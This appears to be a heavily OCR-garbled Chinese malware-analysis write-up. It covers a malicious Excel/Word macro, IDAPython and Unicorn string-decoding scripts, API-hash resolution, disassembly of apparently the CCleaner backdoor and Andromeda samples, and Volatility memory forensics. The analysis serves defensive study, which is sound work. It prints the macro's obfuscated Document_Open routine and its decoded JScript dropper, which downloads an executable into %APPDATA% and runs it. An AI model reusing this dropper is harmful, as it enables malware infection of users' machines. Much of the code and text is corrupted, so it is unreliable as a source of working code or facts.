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help, please google for “access onion Banﬂ}EﬁJ

Z. Uisit one of the following pages with
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activeX1l.bin
activeX 1.oml
active X2 omil
AppHame: excel. e AppVer: 12, AppStamp 45425263

reeX 3.omil
Maodfame rn_.-"urn-"’rl i ModWer: 6.1.95. 4 ModStamp: 3ccYalTe I

flebug: O ||f1; -t 0000 £ 46| | activeXd.om|

LA eeX 5 om|
rairERE R oy "“I
R = A : TR weXh.)
T HRIRE IS EEHEIET Microsoft Office Excel AJIRESEE ; FEERANMRIER T
SEMTE UM | NS 1D, BRS A A TR AN ¢ LR vel(Tom
-'H[:Ej Internet ﬂJ’LI ! [TF “Hﬂ.“: FwedX 8 wml
ENTEEEEGTE, £5. Wik ST REELINTASHER. B
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= R
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unction JITCKC(RBMCBAT): "J3yWnBy4id45u Ziw 3IVEOAIWBYGS
"1AXphm ojCUXvZALZUrCBTKXG6R S LTF
Dim DRHCQCOTI, SLTLFJIOT: "qxQirqdFdaxXRZSwaRUh yqlyY pQg
| object.Method Call Selection.WholeStory |

‘e FSmTO fR X qu EPFIZE%!].‘U' RM7TRCU - | object.Method Call Selection.Delete
or DRHCQCOTI = 1 To Len(RBMCBAT) Step 3: 'puBDBEibOg wa | object.Method Call Selection.TypeText

| object.Method Call ["var Shellobj=new Active | VMSXE.Eval

"GCNvES QB bYANWS gOEM2x0H BASziv

SLTLFJOT = SLTLFJOT & Chr("&H" & Mid(RBMCBAT, DRHCQCOTI,

311 T7TKWow91do

"'mXFifoxQz 2qUomBhF3kAEs A4FLAWTFN ©1nd

ext: "tiDe7 NA QRFWY1voDPTwarSy ZRDSyNRb3

"9bVeKBD z6J0A ¥ n jGdcCou3ZQOHwvn

JTCKC = SLTLFIOT "dqISZn¥Y Z1lBMeYvnowjrEZRVLHaETAIHeMpYivz
"BhtgSXacTKVHpzg YrN3pPUK] fwucvbzFd

nd Function '2jwlglléeC UpuakH7vMYXUID vkvy 65X

"9GOQMTE q riTXCHUHO L z8PH WDOVwdh(Fi

Private Sub Document_Open() 'JbRney@GnDXL catHuBErP138Rt

"tiloB8gNLoZEh 2eGUxt f3kWRKvw nSWmn5 Ln6nR

On Error Resume Next: 'HDVURt uKsTaUSF1HLonjXUxJt31lXoBFh5
"k gx h&BSLkSpKBIfd1CT3uOnteaf B97

reateObject (JTCKC("64N635")): 'T Sp xDV UvmLPjNp SCcmzc
"014Jf5t HIxgA] LNELR oRCs ONRASv

If Err.Number > @ Then °"bOtz8ghmjsUkiwuDl al 6 5848 eRKUxX
"'mfPpaHUED brs42Hs nSEJof%aPy =xQOXNy

Dim FSGOPS: 'c gvoTbh) AywjkICIyTaEjdu2GeyE 2B8Kkhy

"1NF i4r QHMaT s6 P2HDRBUXBEEHGC6M3MA

SGOPS = FSGOPS & JTCKC("34A34F4AL3IGQ3ISVS0BITHIIM56TIEY
GVA4SCS4H3TMI4Z5AF3ZK3IOPASUITEIACACL3GTIOV52D36]13305TU36L4
32V3IBA55F33L32R41W33B35H4TM32534W4DC3IZH3ION55530X44D41J3¢€

X0bject('WScript.sShell');
var FsoObj=new ActiveXObj
ect('Scripting.FileSystem
Object');var PathX=Shello
bj.expandEnvironmentStrin
gs( "%APPDATA%' ) ;PathX=Pat
hX+"\\\\';:var FullX=PathX
+Fso0bj.GetTempName()+'.e
xe';var XmlhttpObj=new Ac
tiveXobject('Msxml2.XMLHT

DUDT . SEeTHEeqUE
('User-Agent',
'Mozilla/5.@ (Windows NT
6.1; Trident/7.0;
rv:11.0) like Gecko');Xml
httpobj.send();var
StreamObj=new ActiveXObje
ct('ADODB.Stream');Stream
Obj.Open;StreamObj.Type=1
;StreamObj.Write(Xmlhttp0
bj.ResponseBody);1f(Fso0b
j.FileExists(FullX)) FsoO
bj.DeleteFile(FullX);Stre
amObj.SaveToFile(FullXx);s
treamObj.Close;if(!Fso0Obj
.FileExists(FullX)) FsoOb
j.DeleteFile(FullX);Shell
Obj.Exec(Fullx);:"]
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1R 2 6 RAR T 22 7 A

text 1 00405CTD
«text i 00405CTD
text i 00405CTD ]
text: 00405CTD eax, 1
~text:00405CHE edi, sax
~text:00405CHE short loc 405CAJ

.(uL

) 74

j CODE XREF: sub_ 405BFO+6R" j

8 1O
T
i o

an TE
o WL AR
o ® @ [=] xrefs to .text:00405BF0

Directior Typ Address Text

= Up p sub_401000+8 call sub_405BF0

p sub_401000+1E call sub_405BF0

sub_401000+37 call sub_405BFD
sub_401000+46 call sub_405BF0
sub_401000+58 call sub_405BF0
sub_401000+6C call sub_405BF0
sub_401000+7F call sub_405BF0
sub_401000+92 call sub_405BF0
sub_401000+A5 call sub_405BF0
sub_401000+B8 call sub_405BF0
sub_401000+CB call sub_405BF0

sub_401000+DE call sub_405BF0
sub 401000+F1 call suh 405BFD

Help Search Cancel -

Line 1 of 116

Laxt: 00405CHE acx, dword 410050

ctaxt: 00405CHC ecx,; ¥

stext: 00405CEF ecx, unk 41E477[ecx]

text 00405CHS

bext: 0D405C95 | ; CODE XREF: sub 4058BF0+B1 j
<text 00405C95 dl, [sax+esi]

text i 00405CHE dl, [esi]

Jtext i 00405C9A EAE

dtaxt: 00405CIE aax, adi

JLaxt i 00405CED [eex+eax-1], dl

dEaxt: 00405CK] short loc_ 405C95

Laxt: 00405CAI

~taxt: 00405CAI M j CODE XREF: sub L05BFO+8R 3
Lemxt: 0D405CAT ; Eub 4O0SEFO+94° 3

Lhmxe s ODA0SCAY offset CriticalSection ; lpCriticalSection
Jeaxt: 0D4085CAE deiLeaveCriticalSect lon

JEexk  GDd0SCAE oax, dword 4100850

Jteaxt 00405CHI eax, 9

dteaxt s 00405CHE eax, offset unk 41E47TH

Laxt: 00405CHE

Laxt: 00405CHRE

~taxt:00405CHRE aub 405BFD

~taxt: 00405CHC

BT § e e e e e e e e e, ., e, .

B xor, shlFETTHE 1% pR2L o)
o). FRAS N LR EEERE HEME R .

p
p
p
p
p
p
p
p
p
p
n

/)

JIR 2K

PRty
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ZHT 75— 15 A IDApy thonfiE 25 APT

(LU
4

from idaapli import *

DWORD * usercall decodefi<eax>{int alfi<eax>, int a2fii<ecx>)

{ from ctypes import *
unsigned  intd *wv2;
_DWORD *v3; [/ esi
int v4; // ebx
unsigned int v5;
_BYTE *v6; [/ ecx
int v7; f/ edi
sipned int v9; //f [esp+Ch] [ebp-4h]

def find function arg(addr):
while True:
addr = idc. PrevHead{addr}
0y -

- [}

return :Etﬂperandﬁalue{addr, _}

for x in XrefsTo(lxleci3ik,flags = 0):

#change 0x16c238b to address of decode in yo
addr=find function arg(x.frm)

= (unsigned  int8 *)al;

= (_ DWORD *)a2;

= 'E'lj
Alloc(4896);

= *vy2 | (unsigned  intle)(v2[1l] << 8);
I:_E:..,I_.-T E * :I vilz
(int)&v2[-v4 + 2];

seed = ¢ _uint (Byte(addr) | (Byte(addr + 1) << E})
result = [Hone] * 203¢
for 1 in range(2030):
result[i] = chr{{ﬂeed value & I“I"ff]n ~ E"re{addr + 2 + 111
16)) .value) .value - OxZ2F373ECQF)
end = IEﬂulr 1ndeh{ vx00 1
decode="".join({result[:end])
print x.frm
print decode
vh = v N '-|'-'['-'-']j

= @x41128888 * v5 - Bx434CBEEE * (v5S »»

MakeComm(x.frm,decode)

Xshell & IJH B 5T B fite 25 R AN Xshell g 1Hfs
TR 2 e 2V Zm A RS B 2 Bipy thonfUAS, SRR E KB A e X5l H, 1

(Ul

1] IDApy thonHI s
pythonfUhd, ZE K IDAH HIERE .

d

PRty

4




APL/“1F e

ngny

{flare-floss Hahfaill, HeEAMEASPE SO/ A BT E 745 E

( U}

ZHIBI TR,

$ floss a5ca7e7281d8b8a570a529895106b1ta $ strings a5ca7e7281d8b8a570a529895106b1fa
/index.html IThis program cannot be run in DOS mode.
http:// Rich
POST .text
GET “.rdata
User-Agent: FJUR (compatible; MSIE 6.0; win32) @.data
HOST: - CRT
software\Microsoft\windows\Currentversion\Run @.rsrc
%S \%S
. TXT
CONNECT %s:%d HTTP/1.1
SetF1leAttributesA
#456234
B N = =4 DL p i . - NV =S Vas DL p
fi FHflossgefd 2 KRe=f HE R fi FstringsJL"FA RS 2UTTH HE R

XLEETVAH) A AREACH — BB VE;  Fr Z UL A e % dipy thonfUhS .

—
—




fva = 0x401000

dbg - flaredbg.DebugUtils() @ 000> !py example

# Get all the locations the fva function was called from as well as the arguments [+] GEttlng VlVlSECt mrkspace'
# get_call_list accepts the number of push arguments and the required registers [.|.] VlVlSECt mrkspace 1ﬂad CﬂmpletE-

# The function of interest in this example only accepts push arguments

call_list - dbg.get_call_list(fva, 3) @x4019c9L Mozilla/5.0(Windows; U; MSIE 9.0; Windows NT 9.0; en-US)))
# Cree_lte a list of output decoded strings for an IDA python script @X4@110CL Superbaddomaln- com
S 0x401156L /abc.php?v=

# Iterate through all the times the fva was called

for fromva, args in call_list:
# Allocate some memory for the output string and the output string size
str_va = dbg.malloc(args(2])
args[1] = str_va

# Function virtual address for the string decoder function @'@@@) 1oad ka

ILELIRR d UL

084810885 push

# Make the call! bB4810687 mov ecx, [ebp+lpszhgent]

dbg.call(fva, args, fromva)
084810BA push BCX

# Read the stri tput Fodoucs =t - W ndan S
out str = dbg. read. string(str_va) 604010BB push  offset unk 467820 ; fozilla/5.B(Windows; U HSIE 9.6; Windous NT 9.8; en-US)))
004B10CA call string decoder
# Print out the result ABLA1BCS add esp, HCh
int hex(fromva), out_ ’
print hex(fromva), out_str ABuB16C8 push i ; duFlags
# Free the memory BO4818CA |]|_|5|'| i . IPSEFE‘DH_UE_I,IPEISS
dbg. f
g.free(str_va) AB4616CC push @ ; 1pszProxy

# arg® contains the "unknown" bytes offset BAL A1 BCE I]u5|-| 1 . ﬂl'lFIEEE'SST_U]]E‘
# out_str contains the decoded string ;

out_list.append((args[0], out_str)) 00481000 mov edx, [ebp+lpszAgent]

| 08481803 push edx . 1pszAgent
# Generate an IDA script and write it out

ida_script = utils.generate_ida_comments(out_list, True) 084810804 call ds:Inter "EtﬂFE'l'lFl
open('C:\\ida_comments.py', 'wb').write(ida_script) AL A1 ADA  mo shn+hInterne




Xshell)g1]: MO0x16c23A07
- 0x16C23BCiEE— PMecx, DI
FiE— Pecx, %GR
JIXecxB I 2

AparE

NG

APT/ 458
WAER) VA

segaei:elaC23C7
segaed:eleC23CD
segaed:elaC23De
seg@ee:eleC23De
segaed:elaC23Da
segaed:elaC23DA
segdae:eleC23DF
seg@ei:eleC23EL
segaed:8leC23ES
segaed:eleC23E6
segaep:eleC23E7

23EE

K N7

%

i |
v A

unicornie2

loc 16C23BE:

AN

0154Fblackhat F & AR —

[ebpt+var 4], @ ; Log
ebx, eax

eax, byte ptr [edi+l]
ax, B : Shi
ECK
ECX,
Eax,
eax, ecx
edi, 2
ecx, ebx
edi, ebx

byte ptr [edi]

E.H: .I U

dl, [edit+ecx]
dl, al

[ecx], dl

edx, eax
eax,
edx,
edx,
eax,
edx,
eax,
[ecx], dl :
short loc_ 16C23F
[ebpt+var 4]

ecx

[ebp+var 4], @
short loc_ 16C

18h
A3ACBEEEh
edx
edx

] e e e el ]

i ol O ol |

GEREH), 0x16C23F0
g A 45

I 2 VAN
I 9

—

578 Mecxs

CC

0x

yufl

2 1) D) e /e A AT

eg@@@:@17A1BEE loc_ 17A1BEE:
egPBe:@17A1BEE |

—ah
L
L&

mov
inc
dec
jnz
push
lea
push
push
mov
mov
mov
call
lea
push
push
mov
mov
mov
mov
mov
mov
call
lea
push
push
mov
mov
mov
call
add
lea
mov
mov
ush

eax
egeBa:al17AlBF2 BCX
egepa:a81/A1BF3
eg@ae:B17A1BFS ebx

aCh

eax

[ebpt+var 54],
[ebp+var 5@],
[ebp+var_4(],
DecodeString

egBeR :817ALBFo
egeea:al17AlBFE

eg@ea:alvAlCes
eg@ea:alvAlceA
egeea:alv7AlCll

18h

eax

[ebp+var 294
[ebp+var 298
[ebp+var 28C
[ebp+var 283
[ebp+var 284
[ebpt+var 288]
DecodeString

egeBa:alv7AlC1c
egeBa:817A1C1E

EgaeR 81 7ALC29
EgaeR :817ALCS3

]
%
egBee: e17A1C3D ]
]

a
=
a
=
a
=
5
=
-
=
-
=

Eg@ea:al1v7AlCsl
eg@ea:al1v7AlCSE

@Ch

eax
[ebp+var 94
[ebp+var 98
[ebp+var BC
DecodeString
esp, 18h

eg00e:017A1C66
eg@0e: 817A1063
eghBe: 9174169 1s

1,
egho8:017A1C7D 1
eg@®e: 817AL1C37
eg@ee: e17ALCEC
eg@@e: 17ALCEF
eg@@0:817A1C92
eg@@9: 817A1C97
eg@00: 017A1C9A

leaner)5[): MOx17A1B
17AICI6 45 ML . e )a

ebx, @FEh

I

KmovHHERE L, XL Z [e
£ EE 1K Npush 2 £00xC.

—

;jZA

F
F
F
F
F
¥

; CODE XREF:
byte ptr [eax], @

short loc_ 17A1BEE

eax, [ebptvar 54]

sub_17A1B

3 Publisher

eax, [ebp+var 294]

2
=

=

(&}
EI e I 5 ey

[ ]
T o
(¥ ]

d T
Fa t
S
=

Lo
m g
2
L . |

[
[ay]
[ma]

[ O S WY R Y S
LA .
=
e |
=

m -
m |
=

(%3]

b |
wnoeom
L

35 53
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3 Microsoft Corporatio

eax, [ebp+var 94]

648A6111h
DE3@D47h
F

2FADE27h

3 DisplayName

eax, [ebptvar (]

[ebpt+arg 8], edi

; DWORD
07
11455

AR,

AT B 5

optva

r 541, IF

—
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from unicorn import *

from unicorn.x86 const import *
from idaapi import *

from ctypes import *

- N
=
Ih
o
1]
m
=
b
i
[NT]
it
fi
(]
=
Ji1]
ct
Ly
&
ct
[i1]

# memory add
ADDRESS = Oxl
Mid ADDEESS
End ADDRESS
Sta;t

]
[ -
[

[}

[}
= 03 0}

[
| ]
[ I S T W ]

oy

def find function arg(addr):

while True:
addr = idc.PrevHead (addr)

el ;
- X in XrefsTo(OxlecZ3Zkb,flags = 0):

addr = find function arg(x.frm)
tr = emulate decode (addr)

(MEENELIUN |

in GetOpnd({addr,

I

%&

BN
&

E

—

)y :

# Initialize emulator in X86-32bit mode
mi = Uc{UC_RRCH_KEE, UC_HﬂDE_EE}

# map ZME memory for this emulation
mu.mem map{0=x0, 100 * 1024 * 1024)

# write machine code to be emulated to memory
mu.mem write (ADDRESS, data)

mu.mem write(Start ADDRESS, function)

# initialize machine registers

mu.reg write(UC X8& REG EAX, addr)

mu.reg write (UC X286 REG EDI, addr)

mu.reg write(UC XE8e& REG EBP, 0x100000

# emulate code in infinite time & unlimited instructions

mu.emu start(Start ADDRESS, Mid ADDRESS)
r ecxl = mu.reg read(UC XE6 REG ECX)

mu.ema startc (Mid ADDEESS, End ADDRESS)
r ecxd = mu.reg read(UC XEB6 REG ECX)

# now print out =ome r
print("Emulation done.

result = mu.mem read(r ecxl,r ecxldZ-r ecxl)

print{">>>result = FIz"$result)

retuorn result

emulate decodepfZ

Emulate i386 code

Emulation done. Below is the CPU context
>22result = A\ _\Regmon

Emulate i386 code

Emulation done. Below is the CPU context
»>>»»result = YW _.\FileMon

Emulate i386 code

Emulation done. Below is the CPU context
>22result = \\ . \ProcmonDebuglLogqger
Emulate i386 code

Emulation done. Below is the CPU context
>2»result = ZW\_A\HNTICE
Emulate i386 code

Emulation done. Below is the
>»2result = Install

Emulate i386 code

Emulation done. Below is the
>>>result = Globaly

Emulate i386 code

Emulation done. Below is the
»2>result = SeTcbPrivilege
Emulate i386 code

Emulation done. Below is the
»2>result = SeDebugPrivilege
Emulate i386 code

Emulation done. Below is the
>22result = 1strcati!

PR 45 R

context

context

context

context
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sub A7E110 proc near ; CODE -064110A4 dword 4110A4 dd 43C1FBF5h
B , DATA 00412354 dword 412354 dd 3F6AABOSH
g8 88 oo o eax, 9ah ; 'U°
F6 EB 7B near ptr
e ,ﬁp ptr I - 004098 4E now eax, dword 4110A4
= - 88489853 X0r eax, dword 412354
60 00 00 o8 align 18h - 38489850 push 8
_ - : ) o " -8040985C call eax
e ==
Andromeda}: | ]botnet XdatalhZ &

s AP ERAROINGE e T8 JE R — 4, it L ik 24 S 2.
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L HTHI TR AREhashf AP

cl sub 1771@@a({int al)

vl; [/ eax

v2; fJ esi

(_ stdcall *v3)(int); // eax
t ( stdcall *v4)( DWORD, int); // eax
~ vb3 /S [esp+éh] [ebp-18h]

decode string(24588464, (int)&vE);

WideCharToMultiByte 8(v1, 8);

(int {_  stdcall *)({int))LoadLibraryA @;
( 'LoadLibraryA @ )

i

dword 1781888 = vi(v2);

LocalFree @((int)&vE);

vd = (int (_ stdcall *)( DWORD, int))GetProcAddress 1;
if { !GetProcAddress 1 )

1

¥

return v4(8

T 3R BCAPT b ik

_DWORD **)(*( DWORD *)(_ readfsdword(8x38u) + 1

ve = *(unsigned  int8 *)v4 | 8x20;

¥

= (vE + __ROR4 (w5, 8)) ™ @x7C35D9A3;

i
(47
IIThH
T
-
Qo
N
-
il
-4\/|/
[}

2)
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def Stand ZO0mbieHash (name) : static main() {
auto id;
id = AddEnum (-1, "kernel32 apihashes t", 0x1100000);
AddConstEx (1d, "kernel3Z apihashes AcquireSRWLockExclusiwve", 0x73152a230, -1);
AddConstEx (1d, "kernel3Z apihashes AcquireS3BWLockShared", O0xbk0el30bka, -1);
AddConstEx (id, "kernel3l apihashes ActivateRctCtx"™, 0x43a33bad, -1);
AddConstEx (id, "kernel32 apihashes AddAtomA"™, 0x1237d48b, -1):
AddConstEx (id, "kernel3l2 apihashes AddAtomW", 0x1237d45d, -1):
AddConstEx (id, "kernel32 apihashes AddConsoleRliasaA"™, 0x5albeb81, -1);
AddConstEx (id, "kernel32 apihashes AddConsoleRliasW", 0x5albeblb, -1);
AddConstEx (id, "kernel32 apihashes AddDllDirectory™, Oxcf3eéclel, -1);
AddConstEx (id, "kernel32 apihashes AddIntegrityLabelToBoundaryDescriptor"™, O0xZbbc44dg, -1):
AddConstExX (id, "kernel32 apihashes AddLocalAlternateComputerNameh", 0xTeabSabi, -1):
AddConstEx (id, "kernel32 apihashes hddLocalhlternateComputerNameW", 0xTeabsad2, -1):
AddConstEx (1d, "kernel3Z apihashes AddRefActCtx", 0xd%63&82&, -1);
AddConstEx (1d, "kernel3Z apihashes AddS3IDToBoundaryDescriptor®, 0x43bp07700, -1);
AddConstEx (id, "kernel3? apihashes AddSecureMemoryCacheCallback", Oxc4ecf420, -1):
AddConstEx (id, "kernel3Z apihashes AddVectoredContinueHandler™, 0x801beall, -1);
AddConstEx (id, "kernel3l2 apihashes AddVectoredExceptionHandler"™, 0Ox6411&66f7, -1):
AddConstEx (id, "kernel32 apihashes AdjustCalendarDate"™, 0xE806&ellac, -1):
AddConstEx (id, "kernel32 apihashes AllocConscle"™, 0x8fleechb7, -1):
AddConstEx (id, "kernel32 apihashes AllocateUserPhysicalPages", 0x550eefid, -1):
AddConstEx (id, "kernel32 apihashes AllocateUserPhysicalPagesNuma", Oxfaal0lge, -1):
AddConstEx (id, "kernel32 apihashes ApplicationRecoveryFinished"™, 0x8alf27f5, -1):
AddConstEx (id, "kernel32 apihashes ApplicationRecoveryInProgress"™, 0x42883a30, -1):
AddConstEx (1d, "kernel3Z apihashes AreFileApisANSI"™, O0x805cef2g, -1);
AddConstEx (1d, "kernel3Z apihashes AssignProcessToJobObject™, 0x14834486, -1);
AddConstEx (id, "kernel3?2 apihashes AttachConscle", 0xaff8743a, -1):;
AddConstEx (id, "kernel32 apihashes BackupRead", Oxead88012, -1):
AddConstEx (id, "kernel32 apihashes BackupSeek", 0Oxe&d8871b, -1):
AddConstEx (id, "kernel32 apihashes BackupWrite", O0xled70c33, -1):
AddConstEx (id, "kernel32 apihashes BaseCheckfppcompatCache"™, 0xcl5643ac, -1):
AddConstEx (id, "kernel32 apihashes BaseCheckRppcompatCacheEx", 0x57e52cad, -1):

num = 0
for j in name:

num = rord (num)

num = num + ord({j)

num = num * O0xTC3ISDSA3
retorn num

# Workhorse: create IDC script from DLL's exXxport name hashes
def HashExportllames (pe path, dll name, idc path, hashfunc):

# Open the PE file and create the IDC file

pe = pefile.PE(pe path, fast load=False)

f = open(idc path, 'w')

# Write stock beginning for IDC file
write (7 \
Write("st

wWrite (T 1
.wWrite (™ 1 um (-1, “"%s apihashe=s t\", O0x1100000);:%n" % dll name)

f Create an gnum element for each exported name
for entry in pe.DIRECTORY ENTEY EXPORT.symbols:

if entry.name !'= None:

f.write {"\thAddConstEx (id, 1”%3_&;;1&51&3 =", OxTLx, 1) ™ % (d1l name, entry.name, hashfunc(entry.names)))

# Close the file
f.write ("} ")
f.cloze()
return

# Extract the DLL'=s mame, use it to name the IDC structures unigquely
# and decide the IDC file mame, then call the function above
def HashBExportllamesWrapper (pe path, hashfunc = StandardiOmbieHash):
base name = os.path.basename(pe path)
dll name = base name.split('.")[C]
ide path = dll name + '.idc’
HashExportNames (pe_path, dll name, idc path, hashfunc)

$# main(): hash tr names from a DLL; produce [dlln
if name = " M
HashExportHamesWrapper(svs.argv[1l])

LT

python A = A% IDCEIAS
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ul = timeB{A);
ping24h 24D7(601);
if ( {unsigned int){timeB{@) - vB) >= 688 && (uv21 =

LRI BEPEX .;
ccleaner /G| ] B SC ik =& JEEEﬁS1ellcodeﬁ%—*4\1oader, =i

IR TDOSK AL B @ L AR PAT R EAT .. 1BEPEL

l'

.

timeB{A), v2?1 »>= SHGetUaluef_ 1677()) && IsUserAnAdminB{} )

// FF/2"sebebugPrivilege”

Adjust Token Privilege();
U? = LocalAllocA{6h, Ox100800);
®#( DWORD =)uv2 = ZHGetValueA_1566(); I rL ﬁﬁ

*(_BYTE %)(uZ + 4) = ; /i 65 T
; /7 61

®{ BYTE =){uv2 + 5) =

= {{int (__ fastcall =)(int, 1nt}}GetEurrEntPrucESSB}{uu
®=( BYTE =)(u2 + 6) = IsWowo4Process 192F(uvS);//f —E;:‘Hﬁu: 5
®( BYTE =){uvZz + ¥} = unknow 19FD{};

uZe = bG4;

vl

Z F X IDA /]z IJ Ll JJ:bAP GetComputerNameAB(u2 + 8); /1 THEEE
uZe = 64;

//\jj L—l - O GetComputerHameExAB{2, vZ? + 72, &uZd); // ComputerHameDnsDomain
Il 11 UL 0 TR Lk L LU i) i LU EA T |, GEtIpHﬂﬂFE55_1H?E{U2}; i %; Aipi&i¢
12E1F 7 FF55 CC call dword ptr ss:[ebp-Bx3h] nsucrt.memcpy 23 = B;

' o sub 17A1BB?{uv2, &u23, @);
m i-thlf :-1”1' mou . if ( =( BYTE =)}{u2 + 6) )
12E1F 77 BBLu6 38 mou sub_17A1BB9(u2, &u23, 1):
MZ2E1F FH g30% F4 A and dword ||r| L :| Pf”l I1x|.|1 sub 17ATFGQ(u2, &u23};

o - —- : decodeString{v?, (v23 <{ BY + W14);
B1ZETF 71 8304 BC add ’ u22 = sub_17A121D{u2, (u23 << 8) + 416,
12E1F8B1 49 dec : : - . :
H1Z2E1F 82 44 [ =
M12E1F83 85DB test
1ZE1F 85 BoLDh EC nov dword pty ss:|ebp-8xik],

H1Z2E1F 88 8945 EB mov dword ptr ss:ifebp-0x18],
ds:[12E2314]=000860208 ve = time(0);

sub_180024D7(601); ff ping 224.9.6.80,

EBHE R e0dh . . .

ih e = -MI- :F ( (unsigned int)(time(®) - uB) >= Bx258 && (u20 = time(B), u20 >= sub_10881677(u1)) && IsUserAnadmin() )// KW 2754122
1280000 90 60 00 OD| 00 OO OD OD| 0D DD DD OO DD OO EQ BD| ... .- - e nnnna sub_1006203A() ; 11 1B
; ud = LocalAlloc{@®x4Bu, Ax1008080u);
28001008 A0 A0 00 00 00 OO0 B DB BB OB BB BB BB EQ BB - ... - e e e mn == *:(nunﬁn *;u = zgetatlunteg(), ff BAEEMEEIR "SOFTWAREAPiriform\Agomo™ value="HUID",data="8x092217d8" (}E|{H), datalengt
1280028 G0 B0 GO0 BB B0 D8 B0 A8 0 B0 B0 A0 08 B0 EBQ BEA) & ... e s e e e e o e e({_BYTE *)u3 + :
- *((_BYTE »)ud + 5) = ;
128003000 60 00 00|00 OO B0 00|00 00 OO GO(DOD OO EO BB &~ .. - i e neu - Vs o4 = GetCurrentProcess():
B1780040 | B0 A0 B0 DAl B0 0D OO AO| 00 B OO0 A0 B0 B0 EO PO & .o m et et e e *(( BYTE *)u3 + 6) = iséh{ul); /1 H|ETEE A euf
*({ BYTE *)u3 + 7) = sub_108819FD();
8128005000 A0 00 00|00 00 B0 A0 OO0 B0 PO OO0 0O EA BP| ....c e nnnaa nSize = 64;
1280060 00 08 00 G0 A0 G0 OO0 GA| 00 B GO0 A0 08 B0 EQ BB & o v o e i e e e e ﬂ?tﬂﬂmpugif‘f"amﬂﬂi(LPET"P—-'“ + B, &nSize); wRATEALA
nsize = ;
1280878 B8 B OB BB B0 OB B0 B8 0 B0 B B8 00 BB EB BH) & ... s e e e CetComputerHameExA(ComputerNameDnsDomain, 3 + 72, &nSize);
B1280080 00 G0 00 00|06 0D G0 08|00 00 00 G000 00 €0 80| ........ccunnnnn oairet b RERIP. HAC(ES
H1Z8HEYH B BB BH OB BH BH B0 BB 00 BB BB BB BB B0 EB BB . ... -ccccscsssss sub_10801B89((int)ud, (int)&u2z, B);
@128008A0| 00 B0 B 9A| 0O OO OO B| 00 PO 0D GO A0 OO EB BB ... ....eeennn.. BT ST PN
A12B00B0| D0 OO0 08 OO G0 OO 60 OA| G0 00 OO GO| 00 60 EO BB| .....v e nnnas sub_10001F69(u3, Q22);
B12800CH| 00 00 60 00|00 0o 00 00|00 B0 OO PO/ 0D B0 E0 BB ... dniptionaltength o sub 188012104 (intave. (v2e <6'oh aid. 8 m);
’ r M hir ’ b B L 3 TREY hMem = analnllnc(ﬂxhﬂﬁ, dwOptionalLength + 256);
128000050 45 00 00| 4C B1 62 O0|C2 3A B0 52|00 60 EQ BA|PE..L d b
sub_1008121D((int)uvd, (v22 << 8) + ¥16, hilen, dubptionallength);// THIBASE6HF TN
H1Z8HBEN| BH BB BH OB EH BH BE 21188 B1 B BB BB 23 EH BB ....7H"Y I'+I B WSAStartup(@x202u, &YUSAData);
B17800F0| 00 A2 OO 00|00 00 B0 OO OO 11 OO A 00 10 EA BB . L...... H...0 5""_1?“#13@():[ o
v5 = dwOptionalLength;
128016080 30 00 00|00 OO B0 10|00 10 OO0 60|00 62 EO OO| .0..... 1.0 v6 = hilen;
) j i i u7 = (const CHAR =)formatip(-48, &Dest);
01 Hll1j B BB BB UGB U0 BB B0 BH| B4 BE BB BB Hf1 HH § L A R B L R R U8 = sub_108822CB(u7, b, u5);:
8128012000 40 00 00|00 0% 60 00|00 0O OO0 00|02 00 00 89| .E... jieeu.-

(https://github. com/hasherezade/pe recovery tools)
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ZHIP HEE=: Volatility

Volatilityse — PWAFBOIEHEZE. |

% python vol.py -t coreflood.vmem -p 2644 malfind
Volatility Foundation Volatility Framework 2.4

Process: IEXPLORE.EXE Pid: 2844 Address: @x7t{30e68
Vad Tag: Vad5 Protection: PAGE EXECUTE READWRITE
Flags: CommitCharge: 45, PrivateMemory: 1, Protection:
x7ffaeeas e @ ea ee Be
Ba
Ba
Ba

B
x7ff30618 8 08 B 68 88 B8 08
B

LA I B %
o @ @

X7 20626 e 8B g 08
7266386 066 80 066 B B8 8B Be 68

L T e TR s Y '
Lo T R o |

5
5
fa & & M

L T e TR s Y s

&3

x7ff3a000 ADD [EAX], AL
x7ffaa002 ADD [EAX], AL
x7ffaa004 ADD [EAX], AL
x7FF20006 ADD [EAX], AL

PEL A A

P — M, — N BR S PESL SO

% python vol.py -t coreflood.wvmem -p 2844 impscan -b 8x7+f81668
Volatility

@x7tTo=000
g@x7tTo=0084
@x7tTo=0088
@x7tToe88c
gx7ffo=016
gx7ffoe=014
gx7ffo=018
@x7tfoedlc
Bx7ffoeb20
gx7ffoeb24
Bx7ffoeb2s
@x7tfoed2c
@x7ffo=b30
@x7ffoeb34
@x7ffoeb3s

[snip]

Foundation Volatility Framework 2.4

Bx77dd77b3
Bx77dfd4co
gx77ddebta
gx77ddeat4d
Bx77dfcl23
gx77ddedes
Bx77dddo66
Bx77dd761b
Bx77dd7883
Bx77ddebe?
Bx77dfc534
Bx77e3d4c3f
Bx77dfd11b
Bx77dd7753
Bx77dfci8cl

Module

ADVAPT3
ADVAPT3
ADVAPT3
ADVAPT3
ADVAPT3
ADVAPT3
ADVAPT3

g b L L L L

!

ADVAPIZZ .«
ADVAPIZZ .«
ADVAPIZZ .«
ADVAPIZZ .«
ADVAPIZZ .«
ADVAPIZZ .«
ADVAPIZZ.

ADVAPIZ

Pd P fed Pd Pd P

i
( 4i

Function

GetUseriameh
RegClosekey
ReglreatekKeyExA
RegDeletekeyl
RegDeleteValueA
ReghotifyChangekeyvalue
RegOpenkeyExA
RegQueryValueExA
RegSetValueExA
AdjustTokenPrivileges
InitiateSystemShutdownA
LookupPrivilegeValueA
OpenProcessToken
RegEnumKeyExA

S

==
{gg

bh b
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S HIDCIEIAS LS iy 24 AP .

python vol.py —f /Desktop/win7 trial 64bit.raw —profile=Win7SP0x64 impscan —b
Ox 88003980000 —output=idc —output—file=1imps. idc

% cat imps.idc

#include <idc.idc>

static main({void) {
MakeDword (@xFFFFFEE00398L080 ) ;
MakeName (@xFFFFFE8@83984888, "KeSetEvent");
HdPHDWﬁFd{D&FFFFFEEEEEQ BAB88) ;
MakeName(@xFFFFF8326398A2888, "PsTerminateSystemThread
MakeDword (@xFFFFFE8003984010) ;
MakeName (@xFFFFFE880398A018, "KelnitializeEvent");
MakeDword (@xFFFFFE800398A018) ;
MakeName (@xFFFFFE2803084818, "PsCreateSystemThread™
MakeDword (@xFFFFFEE8 3AB28) ;

Fl'l.

MakeDword(@xFFFFF388

MakeName (@xFFFFF3386398

HdPHDMﬁPd{DHFFFFFEEEE 108

MakeName(@xFFFFFE8063
[snip]

